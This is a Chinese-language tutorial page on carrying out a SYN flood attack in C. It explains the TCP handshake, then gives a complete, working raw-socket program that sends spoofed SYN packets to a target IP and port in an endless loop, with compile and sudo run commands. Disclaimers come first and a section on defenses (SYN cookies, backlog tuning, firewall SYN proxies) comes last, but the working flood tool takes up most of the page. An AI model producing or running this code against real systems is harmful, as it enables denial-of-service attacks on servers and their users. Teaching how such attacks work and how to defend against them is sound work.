C语言如何实现synflood攻击？-C语言-盈思创科技

在开始之前，必须强调以下几点：

（图片来源网络，侵删）

非法性：未经授权对任何网络设备或服务器进行SYN Flood攻击是严重违法的行为，这可能导致您的服务器被查封、个人面临高额罚款甚至刑事指控。
道德责任：本教程仅用于教育目的，帮助理解网络安全协议的脆弱性以及防御机制。请勿在未获得明确书面授权的情况下，对任何目标进行测试。
实验环境：如果您想学习和实验，必须在您自己完全控制的环境中进行，
- 两台虚拟机（一台作为攻击者，一台作为受害者），使用NAT或Host-only网络模式，确保不会影响到外部网络。
- 本地回环地址（0.0.1）。

什么是SYN Flood攻击？

要理解攻击,首先要明白正常的TCP三次握手过程：

SYN (同步)：客户端发送一个SYN包到服务器，请求建立连接。
SYN-ACK (同步-确认)：服务器收到SYN后，回复一个SYN-ACK包，表示“我收到了你的请求，也准备好连接了”。
ACK (确认)：客户端收到SYN-ACK后，再发送一个ACK包给服务器，至此，连接建立成功，双方可以开始传输数据。

SYN Flood攻击的核心思想就是破坏这个过程。

攻击者会伪造大量的源IP地址,向目标服务器发送大量的SYN包，服务器收到这些SYN包后，会认为有合法的客户端请求连接，于是它会：

分配系统资源（如内存、TCB控制块）来处理这个半开连接。
回复一个SYN-ACK包，并等待客户端的最终ACK确认。

由于攻击者伪造了源IP,这个SYN-ACK包将永远等不到客户端的ACK回复（因为真实的IP地址并没有发起请求），这些“半开连接”会一直占用服务器的资源，直到超时被系统丢弃，当服务器半开连接队列被这些虚假的请求塞满后，它就无法再响应任何合法的客户端请求，从而导致服务拒绝。

（图片来源网络，侵删）

C语言实现原理

在C语言中,我们可以使用原始套接字（Raw Socket）来构造和发送自定义的IP和TCP数据包，原始套接字允许我们绕过操作系统的协议栈，直接构造网络层（IP）和传输层（TCP）的头部。

实现步骤如下：

创建原始套接字：需要管理员/root权限。
构造IP头部：填充源IP、目的IP、协议类型（TCP）等信息。
构造TCP头部：这是关键部分，设置SYN标志位（TH_SYN），并伪造源端口号和序列号。
计算校验和：IP头部和TCP头部都有校验和字段，必须正确计算，否则路由器或目标主机会直接丢弃数据包。
发送数据包：使用sendto()函数将构造好的数据包发送出去。
关闭套接字。

C语言代码示例

以下是一个简化的SYN Flood攻击程序示例。请务必在隔离的实验环境中运行此代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>      // For IP header
#include <netinet/tcp.h>     // For TCP header
#include <arpa/inet.h>      // For inet_addr()
#include <errno.h>
// 校验和计算函数 (RFC 1071)
unsigned short checksum(unsigned short *addr, int len) {
    long sum = 0;
    while (len > 1) {
        sum += *addr++;
        len -= 2;
    }
    if (len == 1) {
        sum += *(unsigned char *)addr;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void syn_flood(const char *target_ip, int target_port) {
    int s;
    struct sockaddr_in sin;
    char *packet;
    struct iphdr *ip_header;
    struct tcphdr *tcp_header;
    // 1. 创建原始套接字 (需要root权限)
    s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (s < 0) {
        perror("socket() error");
        exit(EXIT_FAILURE);
    }
    // 设置目标地址
    sin.sin_family = AF_INET;
    sin.sin_port = htons(target_port);
    sin.sin_addr.s_addr = inet_addr(target_ip);
    // 分配内存用于存放整个数据包 (IP头 + TCP头)
    // IP头 (20字节) + TCP头 (20字节)
    packet = malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
    if (!packet) {
        perror("malloc() error");
        close(s);
        exit(EXIT_FAILURE);
    }
    // 2. 构造IP头部
    ip_header = (struct iphdr *)packet;
    ip_header->ihl = 5; // IP头部长度 (5 * 4 = 20字节)
    ip_header->version = 4;
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); // 总长度
    ip_header->id = htons(random()); // 随机ID
    ip_header->frag_off = 0;
    ip_header->ttl = 255; // 生存时间
    ip_header->protocol = IPPROTO_TCP; // 上层协议是TCP
    ip_header->check = 0; // 先置0，后面计算
    ip_header->saddr = inet_addr("192.168.1.100"); // 伪造的源IP (请替换为你的IP)
    ip_header->daddr = sin.sin_addr.s_addr; // 目标IP
    // 3. 构造TCP头部
    tcp_header = (struct tcphdr *)(packet + sizeof(struct iphdr));
    tcp_header->source = htons(random() % 65535); // 伪造的源端口
    tcp_header->dest = sin.sin_port; // 目标端口
    tcp_header->seq = random(); // 伪造的序列号
    tcp_header->ack_seq = 0;
    tcp_header->doff = 5; // TCP头部长度 (5 * 4 = 20字节)
    tcp_header->fin = 0;
    tcp_header->syn = 1; // **关键：设置SYN标志位**
    tcp_header->rst = 0;
    tcp_header->psh = 0;
    tcp_header->ack = 0;
    tcp_header->urg = 0;
    tcp_header->window = htons(5840); // 窗口大小
    tcp_header->check = 0; // 先置0，后面计算
    tcp_header->urg_ptr = 0;
    // 4. 计算并设置校验和
    // 伪头部用于计算TCP校验和
    struct pseudo_header {
        unsigned long saddr;
        unsigned long daddr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short tcp_len;
    } psh;
    psh.saddr = ip_header->saddr;
    psh.daddr = ip_header->daddr;
    psh.zero = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_len = htons(sizeof(struct tcphdr));
    // 计算TCP校验和
    int tcp_len = sizeof(struct tcphdr);
    char *tcp_checksum_buf = malloc(sizeof(struct pseudo_header) + tcp_len);
    memcpy(tcp_checksum_buf, &psh, sizeof(struct pseudo_header));
    memcpy(tcp_checksum_buf + sizeof(struct pseudo_header), tcp_header, tcp_len);
    tcp_header->check = checksum((unsigned short *)tcp_checksum_buf, sizeof(struct pseudo_header) + tcp_len);
    free(tcp_checksum_buf);
    // 计算IP校验和
    ip_header->check = checksum((unsigned short *)ip_header, sizeof(struct iphdr));
    printf("Starting SYN flood attack on %s:%d...\n", target_ip, target_port);
    // 5. 发送数据包 (循环发送)
    int sent_count = 0;
    while (1) {
        // 每次发送前，更新IP ID和TCP序列号/端口，以增加数据包的随机性
        ip_header->id = htons(random());
        tcp_header->seq = random();
        tcp_header->source = htons(random() % 65535);
        // 重新计算校验和
        ip_header->check = 0;
        ip_header->check = checksum((unsigned short *)ip_header, sizeof(struct iphdr));
        tcp_header->check = 0;
        memcpy(tcp_checksum_buf, &psh, sizeof(struct pseudo_header));
        memcpy(tcp_checksum_buf + sizeof(struct pseudo_header), tcp_header, tcp_len);
        tcp_header->check = checksum((unsigned short *)tcp_checksum_buf, sizeof(struct pseudo_header) + tcp_len);
        if (sendto(s, packet, ip_header->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
            if (errno == EACCES) {
                fprintf(stderr, "Permission denied. Try running as root.\n");
            } else {
                perror("sendto() error");
            }
            break;
        }
        sent_count++;
        if (sent_count % 1000 == 0) {
            printf("Sent %d packets...\n", sent_count);
        }
    }
    // 6. 清理
    free(packet);
    close(s);
}
int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <target_ip> <target_port>\n", argv[0]);
        return EXIT_FAILURE;
    }
    syn_flood(argv[1], atoi(argv[2]));
    return EXIT_SUCCESS;
}

如何编译和运行

保存代码：将上述代码保存为 synflood.c。
编译：打开终端，使用 gcc 进行编译，需要链接 libpcap（虽然这个例子没用，但编译时加上无妨）和一些基本库。
```
gcc synflood.c -o synflood
```
运行：由于使用了原始套接字，必须使用 root 权限运行。
```
sudo ./synflood <目标IP> <目标端口>
```
sudo ./synflood 192.168.1.101 80
（图片来源网络，侵删）

在另一台机器上监听：你可以使用 tcpdump 来观察目标机器是否收到了大量的SYN包。

sudo tcpdump -i any -nn 'tcp[tcpflags] == tcp-syn'

防御SYN Flood攻击

了解攻击是为了更好地防御,现代操作系统和网络设备都有多种防御机制：

SYN Cookies：这是最有效的防御方法之一，当服务器收到SYN请求时，它不立即分配资源，而是利用客户端和服务器的信息（如源IP、端口、时间戳等）生成一个加密的“cookie”作为SYN-ACK的序列号发回，如果客户端是真实有效的，它会返回这个序列号+1，服务器收到后，用同样的算法验证cookie的有效性，如果正确，才建立连接，这完全避免了半开连接队列的耗尽问题。
增加TCP半连接队列大小：通过调整内核参数（如 net.ipv4.tcp_max_syn_backlog）来增加队列容量，但这只是治标不治本，面对海量攻击依然会失效。
超时重设：缩短SYN-ACK的重传超时时间（net.ipv4.tcp_synack_retries），让无效的半开连接更快地被系统回收。
网关/防火墙过滤：
- SYN代理：防火墙自己先与客户端完成三次握手，成功后再与服务器建立连接。
- 速率限制：防火墙限制来自同一IP地址在单位时间内的SYN请求数量。
- 连接追踪：现代防火墙（如Linux的conntrack）可以识别并丢弃异常的连接模式。

通过C语言和原始套接字,我们可以深入理解网络协议的底层工作原理，并模拟出SYN Flood攻击，必须再次强调，这项技术拥有巨大的破坏力，绝对不能用于任何非法用途，理解它，是为了构建更安全的网络环境，而不是去攻击它，希望这个教程能对您的网络安全学习有所帮助。

C语言如何实现synflood攻击？

什么是SYN Flood攻击？

C语言实现原理

C语言代码示例

如何编译和运行

防御SYN Flood攻击

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